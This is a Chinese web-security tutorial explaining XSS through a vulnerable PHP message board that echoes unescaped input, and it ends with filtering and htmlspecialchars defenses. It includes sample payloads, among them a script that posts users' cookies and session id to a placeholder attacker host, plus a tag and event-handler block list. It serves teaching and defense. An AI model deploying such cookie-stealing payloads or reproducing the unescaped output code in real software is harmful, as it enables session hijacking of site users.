Web安全 - XSS攻击 ¶
作者:KK
发表日期:2017.8.25
要点速读 ¶
全称是Cross Site Scripting,汉语说法是跨站脚本攻击,如果缩写为CSS的话就跟样式表缩写撞名了,于是缩写改成了XSS以便区分开来。
简单地说就是在前端表单中填写类似
<script>alert(123)</script>
这样的内容,试图让显示界面将这个内容直接输出并执行了脚本。预防方法通常都是在提交内容中过滤script和JS相关代码的的词眼,甚至破坏这些词的组合。
示例 ¶
这是一个留言板示例,主要的HTML代码:
<input type="text" name="content"/>
<button type="submit">提交</button>
接下来是主要的PHP代码,接收留言的脚本:
$content = $_POST['content'];
$row = $db->insert('message', ['content' => $content]);
if($row == 1){
echo '留言成功';
}
然后是显示留言的脚本:
$messages = $db->selectAll('message');
foreach($messages as $message){
echo '<p>' . $message['content'] . '</p>';
}
在这种情况下,如果提交留言时填写<script>alert(123)</script>
这样的内容,那显示留言的时候直接echo了这个script标签出来就会导致脚本在页面上执行,所有进入这个留言板页面的用户都会先看到一个弹窗123的提示
示例代码下载 ¶
解压到测试的Web目录下(如localhost的目录),再访问http://localhost/xss-demo提交默认留言进行测试,也可以自己改改玩玩
归根到底:内容提交者可以提交脚本,导致网站呈现内容的时候也呈现了这些脚本结果就被运行了
再比如修改你的UI,展示支付诈骗界面 ¶
$('body').html('<p>您已中奖,请先向我(攻击者)的账户支付999元XXX费用才能领奖……<p>')
再比如偷取用户的cookie ¶
这样可以实现会话劫持,比如注入代码为:
<script>
$.post('http://攻击者的host/接收数据.php', {
page : location.href,
sessionid : $.cookie('PHPSESSIONID'),
allCookie : document.cookie
});
</script>
攻击者偷到你的cookie,里面有sessionid,然后在他那边就有机会成功伪造你的登录信息去操作你的账户(一些登录校验不严格或重要业务操作校验不严格的站点就会被攻击者得手)。这其实等同于盗号呀,而且不用放木马,直接注入xss
还有更多更多可以发挥的地方,只要能注入脚本,那浏览器级别能干的事,他都可以利用起来发挥作用
别忘了还可以通过元素的属性注入脚本 ¶
别以为过滤掉script标签就可以了,比如<img src="xxx.jpg" onload="alert(123)" onclick="$.get('http://xxx')"/>
,也就是利用dom元素里的onxxx
事件,包括href="javascript:alert(123)"
,这也是脚本注入的地方
分享一个破坏XSS攻击内容的PHP函数 ¶
在接收请求参数的时候,默认都进行XSS过滤就好了,下面分享一个TP框架扩展里的XSS过滤函数:
function remove_xss($val) {
// remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
// this prevents some character re-spacing such as <java\0script>
// note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs
$val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);
// straight replacements, the user should never need these since they're normal characters
// this prevents like <IMG SRC=@avascript:alert('XSS')>
$search = 'abcdefghijklmnopqrstuvwxyz';
$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$search .= '1234567890!@#$%^&*()';
$search .= '~`";:?+/={}[]-_|\'\\';
for ($i = 0; $i < strlen($search); $i++) {
// ;? matches the ;, which is optional
// 0{0,7} matches any padded zeros, which are optional and go up to 8 chars
// @ @ search for the hex values
$val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
// @ @ 0{0,7} matches '0' zero to seven times
$val = preg_replace('/(�{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
}
// now the only remaining whitespace attacks are \t, \n, and \r
$ra1 = array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
$ra2 = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
$ra = array_merge($ra1, $ra2);
$found = true; // keep replacing as long as the previous round replaced something
while ($found == true) {
$val_before = $val;
for ($i = 0; $i < sizeof($ra); $i++) {
$pattern = '/';
for ($j = 0; $j < strlen($ra[$i]); $j++) {
if ($j > 0) {
$pattern .= '(';
$pattern .= '(&#[xX]0{0,8}([9ab]);)';
$pattern .= '|';
$pattern .= '|(�{0,8}([9|10|13]);)';
$pattern .= ')*';
}
$pattern .= $ra[$i][$j];
}
$pattern .= '/i';
$replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag
$val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
if ($val_before == $val) {
// no replacements were made, so exit the loop
$found = false;
}
}
}
return $val;
}
echo remove_xss('<div>111</div>222'); //正常
//下面都对内容进行了破坏,比如 script 被改成了 sc<x>ript 中间加了个 <x> 让它内容不完整,其它位置也是这样的思路进行破坏
echo remove_xss('<div>111 <script>alert(123)</script> </div>222');
echo remove_xss('<div onclick="$.post()">111</div>222');
echo remove_xss('<img src="javascript:$.post()"/>111');
echo remove_xss('<iframe src="http://www.kkh86.com/it"></iframe>111');
其它编程语言应该也有成熟的XSS内容过滤函数,也可模仿该函数编写一个
最简单的办法,对HTML的<
和>
号进行字符实体转换 ¶
使用htmlspecialchars函数:
$content = '<img onload="alert(123)"/>';
echo htmlspecialchars($content);
//输出:
<img onload="alert(123)"/>gt;
标签的开始结束标记都被破坏了,里面有什么onload、什么alert都无法执行了